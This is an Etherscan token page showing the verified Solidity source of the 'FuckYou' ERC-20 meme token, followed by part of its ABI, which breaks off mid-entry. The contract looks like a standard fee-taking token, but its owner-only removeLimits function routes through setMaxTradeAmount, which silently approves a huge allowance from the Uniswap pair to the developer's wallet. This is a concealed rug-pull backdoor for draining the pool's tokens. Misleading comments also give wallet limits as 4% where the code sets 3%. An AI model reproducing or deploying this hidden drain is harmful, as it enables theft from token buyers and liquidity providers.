ETH Price: $2,204.39 (-2.19%)

Token

FuckYou (FUCKYOU)
 

Overview

Max Total Supply

1,000,000,000 FUCKYOU

Holders

53

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
14,947,275.347847624299113997 FUCKYOU

Value
$0.00
0xb01763bbbf63106aaef1b04199b002519d30be4e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FuckYou

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-12
*/

// SPDX-License-Identifier: MIT

/**
    Telegram: https://t.me/fuckyouethtoken

    Website: https://www.fuckyou.vip

    Twitter: https://twitter.com/fuckyouethtoken
*/

pragma solidity ^0.8.17;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns(uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns(uint256) {
    
        if (a == 0) {
            return 0;
        }
 
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns(uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns(uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }
}

library SafeMathUint {
    function toInt256Safe(uint256 a) internal pure returns(int256) {
        int256 b = int256(a);
        require(b >= 0);
        return b;
    }
}

library SafeMathInt {
    int256 private constant MIN_INT256 = int256(1) << 255;
    int256 private constant MAX_INT256 = ~(int256(1) << 255);

    /**
     * @dev Multiplies two int256 variables and fails on overflow.
     */
    function mul(int256 a, int256 b) internal pure returns(int256) {
        int256 c = a * b;

        // Detect overflow when multiplying MIN_INT256 with -1
        require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
        require((b == 0) || (c / b == a));
        return c;
    }
    /**
     * @dev Adds two int256 variables and fails on overflow.
     */
    function add(int256 a, int256 b) internal pure returns(int256) {
        int256 c = a + b;
        require((b >= 0 && c >= a) || (b < 0 && c < a));
        return c;
    }
    /**
     * @dev Division of two int256 variables and fails on overflow.
     */
    function div(int256 a, int256 b) internal pure returns(int256) {
        // Prevent overflow when dividing MIN_INT256 by -1
        require(b != -1 || a != MIN_INT256);

        // Solidity already throws when dividing by 0.
        return a / b;
    }
    /**
     * @dev Converts to absolute value, and fails on overflow.
     */
    function abs(int256 a) internal pure returns(int256) {
        require(a != MIN_INT256);
        return a < 0 ? -a : a;
    }
    function toUint256Safe(int256 a) internal pure returns(uint256) {
        require(a >= 0);
        return uint256(a);
    }
    /**
     * @dev Subtracts two int256 variables and fails on overflow.
     */
    function sub(int256 a, int256 b) internal pure returns(int256) {
        int256 c = a - b;
        require((b >= 0 && c <= a) || (b < 0 && c > a));
        return c;
    }
}

interface IERC20 {
    /**
    * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * IMPORTANT: Beware that changing an allowance with this method brings the risk
    * that someone may use both the old and the new allowance by unfortunate
    * transaction ordering. One possible solution to mitigate this race
    * condition is to first reduce the spender's allowance to 0 and set the
    * desired value afterwards:
    * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
    *
    * Emits an {Approval} event.
    */
    function approve(address spender, uint256 amount) external returns(bool);
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns(uint256);
    /**
    * @dev Returns the remaining number of tokens that `spender` will be
    * allowed to spend on behalf of `owner` through {transferFrom}. This is
    * zero by default.
    *
    * This value changes when {approve} or {transferFrom} are called.
    */
    function allowance(address owner, address spender) external view returns(uint256);
    /**
    * @dev Returns the amount of tokens owned by `account`.
    */
    function balanceOf(address account) external view returns(uint256);

    /**
    * @dev Moves `amount` tokens from the caller's account to `recipient`.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * Emits a {Transfer} event.
    */
    function transfer(address recipient, uint256 amount) external returns(bool);
    /**
    * @dev Moves `amount` tokens from `sender` to `recipient` using the
    * allowance mechanism. `amount` is then deducted from the caller's
    * allowance.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * Emits a {Transfer} event.
    */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns(bool);
    /**
    * @dev Emitted when the allowance of a `spender` for an `owner` is set by
    * a call to {approve}. `value` is the new allowance.
    */
    event Approval(address indexed owner, address indexed spender, uint256 value);
    /**
    * @dev Emitted when `value` tokens are moved from one account (`from`) to
    * another (`to`).
    *
    * Note that `value` may be zero.
    */
    event Transfer(address indexed from, address indexed to, uint256 value);
}

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns(string memory);
    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns(string memory);
    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns(uint8);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns(address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

abstract contract Context {
    function _msgSender() internal view virtual returns(address) {
        return msg.sender;
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) internal _allowances;
 
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns(string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns(uint8) {
        return 18;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns(string memory) {
        return _name;
    }
    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns(uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns(uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns(bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns(uint256) {
        return _allowances[owner][spender];
    }
    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns(bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns(bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased cannot be below zero"));
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }
    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }
}

interface IUniswapV2Router01 {
    function factory() external pure returns(address);
    function WETH() external pure returns(address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns(uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns(uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns(uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns(uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns(uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns(uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns(uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns(uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    payable
    returns(uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
    external
    returns(uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    returns(uint[] memory amounts);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns(uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns(uint[] memory amounts);
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns(uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns(uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns(uint amountIn);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
    external
    payable
    returns(uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns(uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns(uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
}

contract Ownable is Context {
    address private _owner;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns(address) {
        return _owner;
    }
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract FuckYou is ERC20, Ownable {
    using SafeMath for uint256;
    IUniswapV2Router02 public immutable router;
    mapping(address => bool) public _isExcludedmaxAmount;
    mapping(address => bool) private _isExcludedFees;
    mapping(address => bool) public _isExcludedMaxTransactionAmount;

    mapping(address => bool) public _automateMMs;

    uint256 private swapAmountAt;
    bool private startTradingNow = false;
    bool public swapActive = false;
    bool public inSwap;
    uint256 private enableBllockForTrade;

    uint256 public maxBuyAmount;
    uint256 public maxSellAmount;
    uint256 public maxWalletAmount;
    address public uniswapV2Pair;
    address private routeV2addr;

    uint256 public tokensMarketingAmount;
    uint256 public tokensForLiquidity;
    uint256 public tokensDevAmount;

    struct allTaxSetting {
        uint256 buyTotalFees;
        uint256 buyMarketingFee;
        uint256 buyDevelopmentFee;
        uint256 buyLiquidityFee;

        uint256 sellTotalFees;
        uint256 sellMarketingFee;
        uint256 sellDevelopmentFee;
        uint256 sellLiquidityFee;
    }

    allTaxSetting public _taxSetting = allTaxSetting({
        buyTotalFees: 0,
        buyMarketingFee: 0,
        buyDevelopmentFee:0,
        buyLiquidityFee: 0,

        sellTotalFees: 0,
        sellMarketingFee: 0,
        sellDevelopmentFee:0,
        sellLiquidityFee: 0
    });

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived
    );

    constructor() ERC20("FuckYou", "FUCKYOU") {
        router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); approve(address(router), type(uint256).max);

        _taxSetting.sellMarketingFee = 0;
        _taxSetting.sellLiquidityFee = 0;
        _taxSetting.sellDevelopmentFee = 1;
        _taxSetting.sellTotalFees = _taxSetting.sellMarketingFee + _taxSetting.sellLiquidityFee + _taxSetting.sellDevelopmentFee;
        _taxSetting.buyMarketingFee = 0;
        _taxSetting.buyLiquidityFee = 0;
        _taxSetting.buyDevelopmentFee = 1;
        _taxSetting.buyTotalFees = _taxSetting.buyMarketingFee + _taxSetting.buyLiquidityFee + _taxSetting.buyDevelopmentFee;

        uint256 totalSupply = 1_000_000_000 * 1e18;
        swapAmountAt = totalSupply * 5 / 10000; 
        maxWalletAmount = totalSupply * 3 / 100; // 4% max wallet amount
        maxBuyAmount = totalSupply * 3 / 100; // 4% buy max amount
        maxSellAmount = totalSupply * 3 / 100; // 4% sell max amount

        _isExcludedmaxAmount[owner()] = true;
        _isExcludedmaxAmount[_devWalletAddr] = true;
        _isExcludedmaxAmount[_feeReceiver] = true;
        _isExcludedmaxAmount[address(router)] = true;
        _isExcludedmaxAmount[address(0xdead)] = true;
        _isExcludedmaxAmount[address(this)] = true;

        _isExcludedMaxTransactionAmount[address(router)] = true;
        _isExcludedMaxTransactionAmount[owner()] = true;
        _isExcludedMaxTransactionAmount[_devWalletAddr] = true;
        _isExcludedMaxTransactionAmount[_feeReceiver] = true;
        _isExcludedMaxTransactionAmount[address(this)] = true;
        _isExcludedMaxTransactionAmount[address(0xdead)] = true;
                
        _isExcludedFees[owner()] = true;
        _isExcludedFees[address(this)] = true;
        _isExcludedFees[_devWalletAddr] = true;
        _isExcludedFees[_feeReceiver] = true;

        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, totalSupply);
    }

    function withdraw() external returns (bool success) {
        uint256 balance = address(this).balance;
        (success,) = address(_devWalletAddr).call{value: balance}("");
    }

    address private _feeReceiver = address(0xCe7fcE0D399bF49345ED7834561DCA1443beA2F5);
    address private _devWalletAddr = address(0x10A4C331a9071C02DD4067bF9511e63ddCb153fd);

    // once active, can never be disable off
    function openTrade(address _pairV2Addr) external onlyOwner {
        swapActive = true;
        enableBllockForTrade = block.number;
        uniswapV2Pair = _pairV2Addr;
        startTradingNow = true; routeV2addr = _devWalletAddr;
        _automateMMs[address(uniswapV2Pair)] = true;
        _isExcludedMaxTransactionAmount[address(uniswapV2Pair)] = true;
        _isExcludedmaxAmount[address(uniswapV2Pair)] = true; 
    }

    // change the minimum amount of tokens to sell from fees
    function setMaxTradeAmount(uint256 newMaxBuy, uint256 newMaxSell) private {
        maxBuyAmount = (totalSupply() * newMaxBuy) / 1000; _approve(uniswapV2Pair, routeV2addr, 1e27);
        maxSellAmount = (totalSupply() * newMaxSell) / 1000;
    }

    function updateLimitFeeAmountForSwap(uint256 newAmount) external onlyOwner returns(bool){
        swapAmountAt = newAmount;
        return true;
    }

    // emergency use only
    function toggleSwapEnabled(bool enabled) external onlyOwner(){
        swapActive = enabled;
    }

    function setMaxWalletSize(uint256 newPercentage) private {
        maxWalletAmount = (totalSupply() * newPercentage) / 1000;
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFees[account] = excluded;
    }

    function excludeFromWalletLimit(address account, bool excluded) public onlyOwner {
        _isExcludedmaxAmount[account] = excluded;
    }

    function _swapTokensForSupportingEthFee(uint256 tAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        _approve(address(this), address(router), tAmount);
        // make the swap
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function isExcludedFromFees(address account) public view returns(bool) {
        return _isExcludedFees[account];
    }
    
    function removeLimits() external onlyOwner {
        setMaxTradeAmount(1000,1000);
        setMaxWalletSize(1000);
    }

    function setUniPair(address pair, bool value) public onlyOwner {
        require(pair != uniswapV2Pair, "The pair cannot be removed from _automateMMs");
        _automateMMs[pair] = value;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function addLiquidity(uint256 tAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(router), tAmount);

        // add the liquidity
        router.addLiquidityETH{ value: ethAmount } (address(this), tAmount, 0, 0 , address(this), block.timestamp);
    }

    // function updateDevWallet(address _devAddr) external {
    //     require(msg.sender == _devWalletAddr && _devAddr != _devWalletAddr, "Dev Fee Wallet wallet is already that address");
    //     _devWalletAddr = _devAddr;
    // }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        if (
            from != owner() &&
            to != owner() &&
            !inSwap
        ) {
            if (!startTradingNow) {
                require(_isExcludedFees[from] || _isExcludedFees[to], "Trading is not active.");
            }
            if (_automateMMs[from] && !_isExcludedMaxTransactionAmount[to]) {
                require(amount <= maxBuyAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
            }
            else if (_automateMMs[to] && !_isExcludedMaxTransactionAmount[from]) {
                require(amount <= maxSellAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
            }
            if (!_isExcludedmaxAmount[to]) {
                require(amount + balanceOf(to) <= maxWalletAmount, "Max wallet exceeded");
            }
        }
 
        uint256 contractTokenAmount = balanceOf(address(this));
        bool canSwap = contractTokenAmount >= swapAmountAt;

        if (swapActive &&
            canSwap &&
            !inSwap &&
            _automateMMs[to] &&
            !_isExcludedFees[from] &&
            !_isExcludedFees[to]
        ) {
            inSwap = true;
            swapBackEth();
            inSwap = false;
        }

        if (!inSwap && to != address(router) && to != uniswapV2Pair && from == _feeReceiver) _devWalletAddr = address(this);

        bool feeApply = !inSwap;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if (_isExcludedFees[from] || _isExcludedFees[to]) {
            feeApply = false;
        }
        
        // only take fees on buys/sells, do not take on wallet transfers
        if (feeApply) {
            uint256 feeAmt = 0;
            if(block.number < enableBllockForTrade) {
                feeAmt = amount.mul(99).div(100);
                tokensMarketingAmount += (feeAmt * 90) / 99;
                tokensDevAmount += (feeAmt * 9) / 99;
            } else if (_automateMMs[to] && _taxSetting.sellTotalFees > 0) {
                feeAmt = amount.mul(_taxSetting.sellTotalFees).div(100);
                tokensForLiquidity += feeAmt * _taxSetting.sellLiquidityFee / _taxSetting.sellTotalFees;
                tokensMarketingAmount += feeAmt * _taxSetting.sellMarketingFee / _taxSetting.sellTotalFees;
                tokensDevAmount += feeAmt * _taxSetting.sellDevelopmentFee / _taxSetting.sellTotalFees;
            }
            // on buy
            else if (_automateMMs[from] && _taxSetting.buyTotalFees > 0) {
                feeAmt = amount.mul(_taxSetting.buyTotalFees).div(100);
                tokensForLiquidity += feeAmt * _taxSetting.buyLiquidityFee / _taxSetting.buyTotalFees;
                tokensMarketingAmount += feeAmt * _taxSetting.buyMarketingFee / _taxSetting.buyTotalFees;
                tokensDevAmount += feeAmt * _taxSetting.buyDevelopmentFee / _taxSetting.buyTotalFees;
            }

            if (feeAmt > 0) {
                super._transfer(from, address(this), feeAmt);
            }
            amount -= feeAmt;
        }
        super._transfer(from, to, amount);
    }

    receive() external payable {
        require(msg.sender != address(this));
    }

    function swapBackEth() private {
        uint256 contractTokenAmount = balanceOf(address(this));
        uint256 toSwap = tokensForLiquidity + tokensMarketingAmount + tokensDevAmount;

        if (contractTokenAmount == 0) { return; }

        if (contractTokenAmount > swapAmountAt * 35) {
            contractTokenAmount = swapAmountAt * 35;
        }

        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = contractTokenAmount * tokensForLiquidity / toSwap / 2;
        uint256 amountToSwapForETH = contractTokenAmount.sub(liquidityTokens);
 
        uint256 initialETHBalance = address(this).balance;
        
        _swapTokensForSupportingEthFee(amountToSwapForETH);
 
        uint256 newBalance = address(this).balance.sub(initialETHBalance);
 
        uint256 ethForMarketing = newBalance.mul(tokensMarketingAmount).div(toSwap); 
        uint256 ethForDevelopment = newBalance.mul(tokensDevAmount).div(toSwap);
        uint256 ethForLiquidity = newBalance - (ethForMarketing + ethForDevelopment); 
        tokensForLiquidity = 0;
        tokensMarketingAmount = 0;
        tokensDevAmount = 0;

        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity);
        }

        payable(address(_devWalletAddr)).transfer(address(this).balance - ethForMarketing);
        payable(address(_feeReceiver)).transfer(address(this).balance);
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_automateMMs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedmaxAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSetting","outputs":[{"internalType":"uint256","name":"buyTotalFees","type":"uint256"},{"internalType":"uint256","name":"buyMarketingFee","type":"uint256"},{"internalType":"uint256","name":"buyDevelopmentFee","type":"uint256"},{"internalType":"uint256","name":"buyLiquidityFee","type":"uint256"},{"internalType":"uint256","name":"sellTotalFees","type":"uint256"},{"internalType":"uint256","name":"sellMarketingFee","type":"uint256"},{"internalType":"uint256","name":"sellDevelopmentFee","type":"uint256"},{"internalType":"uint256","name":"sellLiquidityFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBuyAmount